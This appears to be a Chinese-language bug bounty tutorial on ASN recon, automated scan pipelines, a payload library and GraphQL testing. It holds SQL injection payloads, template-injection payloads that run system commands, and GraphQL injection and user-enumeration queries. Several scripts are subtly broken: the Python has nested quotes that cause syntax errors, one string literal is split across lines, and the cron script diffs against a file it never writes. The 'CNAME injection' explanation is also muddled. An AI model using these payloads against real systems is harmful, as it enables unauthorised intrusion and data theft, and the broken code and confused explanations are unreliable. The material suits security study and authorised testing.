漏洞赏金猎人进阶技巧：ASN 资产 / 自动化流水线 / Payload 库

前言

新手靠 Nmap + Burp，高手靠 资产发现 + 自动化 + Payload 库。本文覆盖从新手到高阶猎人的进阶路径。

一、资产发现进阶

1.1 ASN 资产挖掘

# ASN（自治系统号）= 公司名下的所有 IP 段
# 用 ASN 能挖到别人没注意的"边角"资产

# Step 1: 查公司 ASN
whois example.com | grep "OrgID"
whois -h whois.cymru.com " -v example.com"
curl -s "https://api.threatbook.cn/v3/domain/asn" -H "Authorization: $THREATBOOK_KEY"

# Step 2: 根据 ASN 查所有 IP 段
curl -s "https://ipinfo.io/AS12345" | jq '.asn, .networks[]?.cidr'
whois -h whois.radb.net -- '-i AS12345' | grep -E "^inetnum|^route" | awk '{print $2}'

# Step 3: 用 masscan + httpx 扫这个 IP 段
# 很多 IP 段上跑的是没被主域名覆盖的测试系统 / API
masscan 10.0.0.0/8 -p80,443,8080 --rate=10000 -oL asn_masscan.txt
grep open asn_masscan.txt | awk '{print $4}' | cut -d: -f1 | sort -u | httpx -silent -title

# Step 4: 发现隐藏子域名
# 很多公司有 dev.example.com / test.example.com 等子域名
# 不在主站导航里但在 ASN IP 段上
subfinder -d example.com -all -silent
amass enum -passive -active -brute -d example.com -w subdomains.txt

1.2 历史域名回收

# 域名过期被别人买走后，可能还在解析旧的 CNAME
# 这些资产可能被遗忘，安全检查不到

# Step 1: 查历史解析记录（SecurityTrails / ThreatBook）
# https://securitytrails.com/domain/example.com/history/a
# https://threatbook.cn/ 查询历史子域

# Step 2: 查过期域名
# https://expireddomains.net/
# https://deleteddomains.com/

# Step 3: CNAME 注入（旧域名 -> 新域名）
# 旧域名 A 解析到 CNAME old.example.com
# old.example.com 又 CNAME 到 evil.example.com
# 就能用 evil.example.com 来接收原域名的数据

# CNAME 注入检测
subfinder -d example.com -silent -o subs.txt
while read sub; do
  dig +short CNAME "$sub" 2>/dev/null
done < subs.txt | sort -u

1.3 GitHub / JS 深度挖掘

# GitHub 关键词自动化搜索
# 搜出所有泄露的凭证、内部 API、开发文档

# GitDorker 自动 dork
python3 GitDorker.py -q "example.com" -dorks ~/GitDorker/Dorks/ -o git_dorks.txt

# 扩展 dork 语法
# "example.com" "password" extension:yml
# "example.com" "BEGIN RSA PRIVATE KEY"
# "example.com" "api_key" language:python

# truffleHog 扫全组织
trufflehog github --org=example-org --json | tee secrets.json
# 筛出有价值的
cat secrets.json | jq -r '.SourceMetadata.Data.git.commit + " -> " + .Secret' | tee leaked.txt

# JS 源码提取内部 API
# 在生产环境的 JS 里经常能看到内网 API 地址
# /api/v1/admin/delete
# /api/internal/user/list
# /test/debug.php
curl -s http://example.com/static/js/app.js | grep -oP '["'"'"'`]/[a-zA-Z0-9_./?-]+["'"'"'`]' | sort -u > api_paths.txt

二、自动化扫描流水线

2.1 一体化扫描脚本

#!/usr/bin/env python3
"""Bug Bounty 自动化扫描流水线"""
import subprocess, os, sys, json, threading, queue

def run(cmd, cwd="."):
    print(f"[*] {cmd}")
    subprocess.run(cmd, shell=True, cwd=cwd, timeout=600)

def pipeline(domain, out_dir):
    os.makedirs(out_dir, exist_ok=True)
    os.chdir(out_dir)

    # Phase 1: 资产发现
    run(f"subfinder -d {domain} -all -silent -o subs.txt")
    run(f"curl -s 'https://crt.sh/?q=%.{domain}&output=json' | "
        f"jq -r '.[].name_value' | sort -u | sed 's/^*\.//' > crt_subs.txt")
    run(f"cat subs.txt crt_subs.txt | sort -u > all_subs.txt")
    print(f"  -> {len(open('all_subs.txt').readlines())} subdomains")

    # Phase 2: 存活探测 + 端口
    run(f"cat all_subs.txt | httpx -silent -title -ip -o alive.txt")
    run(f"cat alive.txt | awk '{{print $NF}}' | sed 's/http(s)\?:////' | "
        f"xargs -I{{}} dig +short {{}} @8.8.8.8 2>/dev/null | sort -u > ips.txt")
    run(f"masscan -iL ips.txt -p1-65535 --rate=50000 -oL masscan.txt")

    # Phase 3: 漏洞扫描
    run(f"cat alive.txt | awk '{{print $1}}' | nuclei -t ~/nuclei-templates/ -o nuclei.txt")

    # Phase 4: 敏感路径扫描（后台、actuator、swagger）
    sensitive = ["/actuator", "/swagger-ui.html", "/api-docs",
                 "/.git/config", "/.env", "/admin", "/console",
                 "/phpinfo.php", "/test.php", "/debug"]
    for path in sensitive:
        run(f"cat alive.txt | awk '{{print $1}}' | "
            f"xargs -I{{}} sh -c 'curl -s -o /dev/null -w "%{{http_code}} ${{path}}" {{}}$path' 2>/dev/null | "
            f"grep -v '404' >> sensitive.txt")

    print(f"[+] 扫描完成，结果在 {out_dir}/")
    for f in ["alive.txt", "nuclei.txt", "sensitive.txt"]:
        print(f"  {f}: {len(open(f).readlines())} lines")

if __name__ == "__main__":
    pipeline(sys.argv[1], f"./bb_{sys.argv[1]}")

2.2 Burp 自动化 + 定时任务

# 每天自动跑一次 Nuclei + ffuf
# 发现新资产立刻通知

crontab -e
# 每天凌晨 2 点跑
0 2 * * * /path/to/daily_scan.sh >> /path/to/scan.log 2>&1

# daily_scan.sh
#!/bin/bash
DOMAIN="example.com"
OUT="./daily_$(date +%Y%m%d)"
mkdir -p "$OUT"

# 资产盘点
subfinder -d "$DOMAIN" -silent > "$OUT/subs.txt"
cat "$OUT/subs.txt" | httpx -silent -o "$OUT/alive.txt"

# 对比昨天的结果
if [ -f ./yesterday/alive.txt ]; then
  diff ./yesterday/alive.txt "$OUT/alive.txt" > "$OUT/new_findings.txt"
  if [ -s "$OUT/new_findings.txt" ]; then
    echo "发现新资产！"
    cat "$OUT/new_findings.txt"
    # 通知自己（Telegram / 飞书 / 邮件）
    curl -s -X POST "https://api.telegram.org/botXXX/sendMessage"          -d "chat_id=YYY&text=$(cat $OUT/new_findings.txt)"
  fi
fi

# 漏洞扫描
cat "$OUT/alive.txt" | nuclei -t ~/nuclei-templates/ -o "$OUT/nuclei.txt"
# 筛出 Critical / High
grep -E "critical|high" "$OUT/nuclei.txt" > "$OUT/high_severity.txt"
if [ -s "$OUT/high_severity.txt" ]; then
  # 紧急通知
  cat "$OUT/high_severity.txt"
fi

cp "$OUT/alive.txt" ./yesterday_alive.txt

三、Payload 库构建

3.1 按漏洞类型分类

my-payloads/
├── sqli/
│   ├── time-based.txt       # 时间盲注 payload
│   ├── union-based.txt      # UNION 注入 payload
│   ├── error-based.txt      # 报错注入
│   ├── stacked-query.txt    # 堆叠查询
│   └── bypass-waf.txt       # WAF 绕过
├── xss/
│   ├── stored.txt           # 存储型 XSS
│   ├── reflected.txt        # 反射型 XSS
│   ├── dom.txt              # DOM XSS
│   └── csp-bypass.txt       # CSP 绕过
├── ssrf/
│   ├── basic.txt            # 基础 SSRF
│   ├── gopher.txt           # Gopher 协议利用
│   ├── redis.txt            # Redis 未授权
│   └── aws-metadata.txt     # AWS 元数据
├── rce/
│   ├── command-injection.txt
│   ├── ssti.txt             # 模板注入
│   └── deserialization.txt
├── traversal/
│   ├── lfi.txt              # 本地文件包含
│   ├── rfi.txt              # 远程文件包含
│   └── path-traversal.txt   # 路径穿越
└── logic/
    ├── coupon.txt           # 优惠券逻辑绕过
    └── race-condition.txt   # 竞态条件

3.2 动态生成 Payload

#!/usr/bin/env python3
"""动态 SQLi Payload 生成器"""

def gen_union_payload(col_count):
    """生成 UNION SELECT payload"""
    bases = []
    # MySQL / PostgreSQL / SQLite
    bases.append(f"' UNION SELECT {','.join(['NULL']*col_count)} --")
    bases.append(f"' UNION SELECT {','.join(['1']*col_count)} -- ")
    bases.append(f") UNION SELECT {','.join(['NULL']*col_count)} -- ")
    bases.append(f"') UNION SELECT {','.join(['NULL']*col_count)} -- ")
    # Oracle 特有的 DUAL
    bases.append(f"' UNION SELECT {','.join(['NULL']*col_count)} FROM DUAL -- ")
    return bases

def gen_time_based_payload():
    """生成时间盲注 payload"""
    payloads = []
    # MySQL
    payloads.append("1' AND SLEEP(5) -- ")
    payloads.append("1' AND IF(1=1, SLEEP(5), 0) -- ")
    payloads.append("1' AND (SELECT SLEEP(5) FROM (SELECT 1)a) -- ")
    # PostgreSQL
    payloads.append("1; SELECT pg_sleep(5)-- ")
    # SQL Server
    payloads.append("1; WAITFOR DELAY '0:0:5'-- ")
    return payloads

def gen_ssti_payloads():
    """模板注入 payload"""
    payloads = {
        "jinja2": ["{{7*7}}", "{{config}}", "{{''.__class__.__mro__[2].__subclasses__()}}"],
        "freemarker": ["${7*7}", "<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}"],
        "velocity": ["#set($e="e");$e.getClass().forName("java.lang.Runtime").getRuntime().exec("id")"],
        "twig": ["{{7*7}}", "{{'7'*'7'}}"],
        "thymeleaf": ["__${7*7}__::.x"]
    }
    return payloads

# 输出示例
print("=== UNION payloads (5 cols) ===")
for p in gen_union_payload(5):
    print(f"  {p}")
print("\n=== Time-based payloads ===")
for p in gen_time_based_payload():
    print(f"  {p}")

四、GraphQL / API 安全

# GraphQL 是现在很多公司用的 API 框架
# 经常存在越权、信息泄露、注入

# Step 1: 发现 GraphQL 端点
# 常见路径：
# /graphql
# /api/graphql
# /v1/graphql
# /graphiql
# /playground

for path in /graphql /api/graphql /v1/graphql /graphiql /playground; do
  code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "http://target$path" -H "Content-Type: application/json" -d '{}')
  echo "$code  $path"
done

# Step 2:  introspection 查询（看所有可用数据）
curl -s -X POST "http://target/graphql" -H "Content-Type: application/json"   -d '{"query": "{ __schema { types { name fields { name type { name } } } } }"}' | jq .

# Step 3: 构造越权查询
# 列出所有用户
curl -s -X POST "http://target/graphql" -H "Content-Type: application/json"   -d '{"query": "{ users { id email name passwordHash } }"}' | jq .

# GraphQL 注入
curl -s -X POST "http://target/graphql" -H "Content-Type: application/json"   -d '{"query": "{ user(id: "1 OR 1=1") { name email } }"}'

# GraphQL 批量查询（DoS + 越权）
curl -s -X POST "http://target/graphql" -H "Content-Type: application/json"   -d '{"query": "{ u1: user(id:1) { name }, u2: user(id:2) { name }, u3: user(id:3) { name } }"}'

# InQL Burp 扩展（专门测 GraphQL）
# https://github.com/doyensec/inql

五、自动化通知集成

#!/usr/bin/env python3
"""飞书 / Telegram / 邮件通知脚本"""
import requests, json, smtplib

def notify_feishu(webhook_url, msg):
    """飞书机器人 webhook 通知"""
    payload = {
        "msg_type": "interactive",
        "card": {
            "header": {"title": {"tag": "plain_text", "content": "漏洞扫描结果"}},
            "elements": [
                {"tag": "div", "text": {"tag": "plain_text", "content": msg}}
            ]
        }
    }
    requests.post(webhook_url, json=payload)

def notify_telegram(token, chat_id, msg):
    """Telegram 通知"""
    url = f"https://api.telegram.org/bot{token}/sendMessage"
    requests.post(url, json={"chat_id": chat_id, "text": msg})

def notify_email(smtp_server, to_email, subject, body):
    """邮件通知"""
    msg = f"Subject: {subject}

{body}"
    with smtplib.SMTP(smtp_server) as server:
        server.sendmail("hunter@example.com", to_email, msg)

# 用法
if __name__ == "__main__":
    findings = open("./nuclei_findings.txt").read()
    if "critical" in findings.lower() or "high" in findings.lower():
        notify_feishu(
            "https://open.feishu.cn/open-apis/bot/v2/hook/XXXX",
            f"发现高危漏洞！\n{findings[:500]}"
        )
        notify_telegram(
            "123456:ABC-DEF",
            "789012345",
            f"高危！{findings[:500]}"
        )

六、进阶方向

1. 云安全漏洞（AWS / GCP / Azure）
   - S3 桶未授权
   - IAM 权限配置错误
   - 元数据泄露
   - 容器逃逸

2. 供应链 / 第三方组件
   - 查 npm / pip / maven 包的已知 CVE
   - 查 package.json 里的过时依赖
   - Snyk / npm audit

3. 业务逻辑漏洞专项
   - 支付 / 优惠券 / 积分
   - 竞态条件
   - 批量注册 / 刷接口
   - 无限额度测试

4. 移动端 + API
   - 反编译 APK / IPA
   - 抓包分析 API
   - Root / Jailbreak 测试

5. 逆向 + 代码审计
   - Java JAR 反编译
   - Python Pyc 反编译
   - Go binary 逆向（找硬编码凭证）
   - Semgrep 代码扫描规则

6. 漏洞利用（Exploit）
   - Log4Shell / Shiro / Fastjson / Jackson
   - 写出完整 PoC
   - 提交 CVE

七、推荐资源